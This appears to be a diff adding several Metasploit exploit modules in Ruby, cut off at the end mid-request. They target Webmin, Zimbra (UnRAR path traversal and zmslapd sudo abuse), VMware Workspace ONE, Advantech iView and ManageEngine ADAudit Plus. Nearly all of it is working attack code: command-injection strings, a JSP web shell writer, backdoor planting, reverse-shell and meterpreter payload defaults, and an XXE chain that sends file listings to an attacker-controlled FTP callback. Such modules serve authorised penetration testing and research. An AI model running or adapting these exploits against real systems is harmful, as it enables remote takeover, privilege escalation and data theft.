'ipbackend' => "\"; #{cmd} ;#",
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
'backend_server' => '127.0.0.1'
}
}, 10
)
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
return nil
end
def check
print_status("Checking if #{peer} is vulnerable!")
res = execute_command('id')
return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
print_status("#{peer} is vulnerable!")
return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
elsif res.code == 200
return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
else
return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
end
end
def exploit
print_status('Exploiting...')
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
end
@@ -0,0 +1,179 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Webmin Package Updates RCE',
'Description' => %q{
This module exploits an arbitrary command injection in Webmin
versions prior to 1.997.
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform
package updates and installation. Due to a lack of input
sanitization, it is possibe to inject arbitrary command that will be
concatenated to the package manager call.
This exploit requires authentication and the account must have access
to the Software Package Updates module.
},
'License' => MSF_LICENSE,
'Author' => [
'Christophe De La Fuente', # MSF module
'Emir Polat' # Discovery and PoC
],
'References' => [
[ 'EDB', '50998' ],
[ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'],
[ 'CVE', '2022-36446']
],
'DisclosureDate' => '2022-07-26',
'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Payload' => { 'BadChars' => '/' },
'DefaultOptions' => {
'RPORT' => 10000,
'SSL' => true
},
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
}
],
[
'Linux Dropper (x86 & x64)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper (ARM64)',
{
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']),
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '123456'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res
if res.body.include?('This web server is running in SSL mode.')
return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
end
version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version
version = Rex::Version.new(version)
vprint_status("Webmin #{version} detected")
unless version < Rex::Version.new('1.997')
return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target")
end
vprint_good("Webmin #{version} is a supported target")
CheckCode::Appears
rescue ::Rex::ConnectionError
return CheckCode::Unknown("#{peer} - Could not connect to web service")
end
def do_login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/session_login.cgi'),
'headers' => { 'Referer' => full_uri },
'cookie' => 'testing=1',
'keep_cookies' => true,
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302
print_good('Logged in!')
end
def execute_command(cmd, _opts = {})
cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"')
cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'),
'headers' => { 'Referer' => full_uri },
'vars_post' => {
'mode' => 'new',
'search' => rand_text(10),
'redir' => '',
'redirdesc' => '',
'u' => cmd,
'confirm' => 'Install Now'
}
})
end
def exploit
print_status('Attempting login')
do_login
print_status('Sending payload')
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
@@ -0,0 +1,173 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.
The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.
This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)
register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end
# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end
# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath
# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)
# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end
relative_path
end
def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
print_good('File created! Email the file above to any user on the target Zimbra server')
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end
register_file_for_cleanup(target_filename)
interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
Rex::ThreadSafe.sleep(interval)
end
end
end
@@ -0,0 +1,120 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Unix
TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
'Description' => %q{
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
invokes it. The service control is permitted via the sudo configuration without a password.
},
'License' => MSF_LICENSE,
'Author' => [
'Spencer McIntyre'
],
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2022-31660' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
],
'DisclosureDate' => '2022-08-02',
'Notes' => {
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
# is disabled by default though.
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
}
)
)
end
def certproxy_service
# this script's location depends on the version, so find it.
return @certproxy_service if @certproxy_service
@certproxy_service = [
'/usr/local/horizon/scripts/certproxyService.sh',
'/opt/vmware/certproxy/bin/certproxyService.sh'
].find { |path| file?(path) }
vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
@certproxy_service
end
def sudo(arguments)
cmd_exec("sudo --non-interactive #{arguments}")
end
def check
unless whoami == 'horizon'
return CheckCode::Safe('Not running as the horizon user.')
end
token = Rex::Text.rand_text_alpha(10)
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
end
unless writable?(TARGET_FILE)
return CheckCode::Safe('Cannot write to the service file.')
end
CheckCode::Appears
end
def exploit
# backup the original permissions and contents
print_status('Backing up the original file...')
@backup = {
stat: stat(TARGET_FILE),
contents: read_file(TARGET_FILE)
}
if payload.arch.first == ARCH_CMD
payload_data = "#!/bin/bash\n#{payload.encoded}"
else
payload_data = generate_payload_exe
end
upload_and_chmodx(TARGET_FILE, payload_data)
print_status('Triggering the payload...')
sudo("--background #{certproxy_service} restart")
end
def cleanup
return unless @backup
print_status('Restoring file contents...')
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
write_file(TARGET_FILE, @backup[:contents])
print_status('Restoring file permissions...')
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
end
end
@@ -0,0 +1,138 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra zmslapd arbitrary module load',
'Description' => %q{
This module exploits CVE-2022-37393, which is a vulnerability in
Zimbra's sudo configuration that permits the zimbra user to execute
the zmslapd binary as root with arbitrary parameters. As part of its
intended functionality, zmslapd can load a user-defined configuration
file, which includes plugins in the form of .so files, which also
execute as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Darren Martyn', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2021-10-27',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-37393' ],
[ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Because this isn't patched, I can't say with 100% certainty that this will
# detect a future patch (it depends on how they patch it)
def check
# Sanity check
if is_root?
fail_with(Failure::None, 'Session already has root privileges')
end
unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
return CheckCode::Safe
end
unless command_exists?(datastore['SUDO_PATH'])
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
return CheckCode::Safe
end
# Run `sudo -n -l` to make sure we have access to the target command
cmd = "#{datastore['SUDO_PATH']} -n -l"
print_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s
if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
print_error('Current user could not execute sudo -l')
return CheckCode::Safe
end
if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")
print_error('Current user does not have access to run zmslapd')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Generate a random directory
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end
# Create the directory and get ready to remove it
print_status("Creating exploit directory: #{exploit_dir}")
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
# Generate some filenames
library_name = ".#{rand_text_alphanumeric(5..10)}.so"
library_path = "#{exploit_dir}/#{library_name}"
config_name = ".#{rand_text_alphanumeric(5..10)}"
config_path = "#{exploit_dir}/#{config_name}"
# Create the .conf file
config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
write_file(config_path, config)
write_file(library_path, generate_payload_dll)
cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
print_status "Attempting to trigger payload: #{cmd}"
out = cmd_exec(cmd)
unless session_created?
print_error("Failed to create session! Cmd output = #{out}")
end
end
end
@@ -0,0 +1,230 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Advantech iView NetworkServlet Command Injection',
'Description' => %q{
Versions of Advantech iView software below `5.7.04.6469` are
vulnerable to an unauthenticated command injection vulnerability
via the `NetworkServlet` endpoint.
The database backup functionality passes a user-controlled parameter,
`backup_file` to the `mysqldump` command. The sanitization functionality only
tests for SQL injection attempts and directory traversal, so leveraging the
`-r` and `-w` `mysqldump` flags permits exploitation.
The command injection vulnerability is used to write a payload on the target
and achieve remote code execution as NT AUTHORITY\SYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'y4er', # PoC
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],
[ 'CVE', '2022-2143']
],
'Platform' => [ 'win' ],
'Privileged' => true,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'Targets' => [
[
'Windows Dropper',
{
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Type' => :win_dropper,
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'DisclosureDate' => '2022-06-28',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),
OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),
OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])
]
)
end
def check
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('Failed to receive a response from the application') unless res
unless res.body.include?('iView')
return CheckCode::Safe('No confirmation that target is Advantech iView')
end
res = send_db_backup_request('')
return CheckCode::Detected('Failed to receive response from backup request') unless res
# The patch added auth as a requirement for
# accessing the NetworkServlet endpoint
if res.body =~ /ERROR:\s+User\s+Not\sLogin/
@needs_auth = true
print_status('Vulnerability is present, though authentication is required.')
end
CheckCode::Appears
end
def send_db_backup_request(filename)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'keep_cookies' => true,
'vars_post' =>
{
'page_action_type' => 'backupDatabase',
'backup_filename' => filename
}
)
end
def format_jsp
bin_nums = []
arg_nums = []
flag_nums = []
bin_param.each_char { |c| bin_nums << c.ord }
bin_nums = bin_nums.join(',')
arg_param.each_char { |c| arg_nums << c.ord }
arg_nums = arg_nums.join(',')
flag_param.each_char { |c| flag_nums << c.ord }
flag_nums = flag_nums.join(',')
'<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \
'new ProcessBuilder(request.getParameter(' \
"new java.lang.String(new byte[]{#{bin_nums}}))," \
"request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \
"request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \
'.getInputStream()))%>'
end
def flag_param
@flag_param ||= Rex::Text.rand_text_alpha(3..8)
end
def arg_param
@arg_param ||= Rex::Text.rand_text_alpha(3..8)
end
def bin_param
@bin_param ||= Rex::Text.rand_text_alpha(3..8)
end
def jsp_filename
@jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename),
'keep_cookies' => true,
'vars_get' =>
{
bin_param => 'cmd.exe',
flag_param => '/c',
arg_param => cmd
}
)
end
def iview_authenticate
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')
vprint_good('Successfully accessed the login page')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'CommandServlet'),
'keep_cookies' => true,
'vars_post' => {
'page_action_service' => 'UserServlet',
'page_action_type' => 'login',
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD'],
'use_ldap' => 'false',
'data' => ''
}
)
unless res && res.body.include?('Success')
fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')
end
vprint_good('Authentication successful!')
end
def need_auth?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet')
)
return false unless res
!!(res.body =~ /ERROR:\s+User\s+Not\sLogin/)
end
def exploit
if @needs_auth || need_auth?
iview_authenticate
end
jsp_code = format_jsp
sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"
full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\""
res = send_db_backup_request(full_cmd)
fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res
path = "webapps\\iView3\\#{jsp_filename}"
register_file_for_cleanup(path)
if target['Type'] == :win_dropper
execute_cmdstager
else
execute_command(payload.encoded)
end
end
end
@@ -0,0 +1,449 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
include Msf::Handler::Reverse::Comm
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
'Description' => %q{
This module exploits CVE-2022-28219, which is a pair of
vulnerabilities in ManageEngine ADAudit Plus versions before build
7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
to upload and execute an executable file.
},
'Author' => [
'Naveen Sunkavally', # Initial PoC + disclosure
'Ron Bowes', # Analysis and module
],
'References' => [
['CVE', '2022-28219'],
['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
],
'DisclosureDate' => '2022-06-29',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8081
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
])
register_advanced_options([
OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
])
end
def srv_host
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
return datastore['URIHOST'] || Rex::Socket.source_address(rhost)
end
return datastore['SRVHOST']
end
def check
# Make sure it's ADAudit Plus by requesting the root and checking the title
res1 = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)
unless res1
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
return CheckCode::Safe('Does not appear to be ADAudit Plus')
end
# Check if it's a vulnerable version (the patch removes the /cewolf endpoint
# entirely)
res2 = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
)
unless res2
return CheckCode::Unknown('Target failed to respond to check.')
end
unless res2.code == 200
return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
end
CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
end
def exploit
# List the /users folder - this is good to do first, since we can fail early
# if something isn't working
vprint_status('Attempting to exploit XXE to get a list of users')
users = get_directory_listing('/users')
unless users
fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
end
# Remove common users
users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
if users.empty?
fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
end
print_status("User accounts discovered: #{users.join(', ')}")
# I can't figure out how to properly encode spaces, but using the 8.3
# version works! This converts them
users.map do |u|
if u.include?(' ')
u = u.gsub(/ /, '')[0..6].upcase + '~1'
end
u
end
# Check the filesystem for existing payloads that we should ignore
vprint_status('Enumerating old payloads cached on the server (to skip later)')
existing_payloads = search_for_payloads(users)
# Create a serialized payload
begin
# Create a queue so we can detect when the payload is delivered
queue = Queue.new
# Upload payload to remote server
# (this spawns a thread we need to clean up)
print_status('Attempting to exploit XXE to store our serialized payload on the server')
t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)
# Wait for something to arrive in the queue (basically using it as a
# semaphor
vprint_status('Waiting for the payload to be sent to the target')
queue.pop # We don't need the result
# Get a list of possible payloads (never returns nil)
vprint_status("Trying to find our payload in all users' temp folders")
possible_payloads = search_for_payloads(users)
possible_payloads -= existing_payloads
# Make sure the payload exists
if possible_payloads.empty?
fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
end
# If multiple payloads appeared, abort for safety
if possible_payloads.length > 1
fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
end
# Execute the one payload
payload_path = possible_payloads.pop
print_status("Triggering payload: #{payload_path}...")
res = send_request_cgi(
'method' => 'GET',
'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
)
if res&.code != 200
fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
end
ensure
# Kill the upload thread
if t
begin
t.kill
rescue StandardError
# Do nothing if we fail to kill the thread
end
end
end
end
def get_directory_listing(folder)
print_status("Getting directory listing for #{folder} via XXE and FTP")
# Generate a unique callback URL
path = "/#{rand_text_alpha(rand(8..15))}.dtd"
full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"
# Send the username anonymous and no password so the server doesn't log in
# with the password "Java1.8.0_51@" which is detectable
# We use `end_tag` at the end so we can detect when the listing is over
end_tag = rand_text_alpha(rand(8..15))
ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"
serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")
# Start a server to handle the reverse FTP connection
ftp_server = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['SRVPORT_FTP'],
'LocalHost' => datastore['SRVHOST'],
'Comm' => select_comm,
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
# Trigger the XXE to get file listings
res = send_request_cgi(
'method' => 'POST',
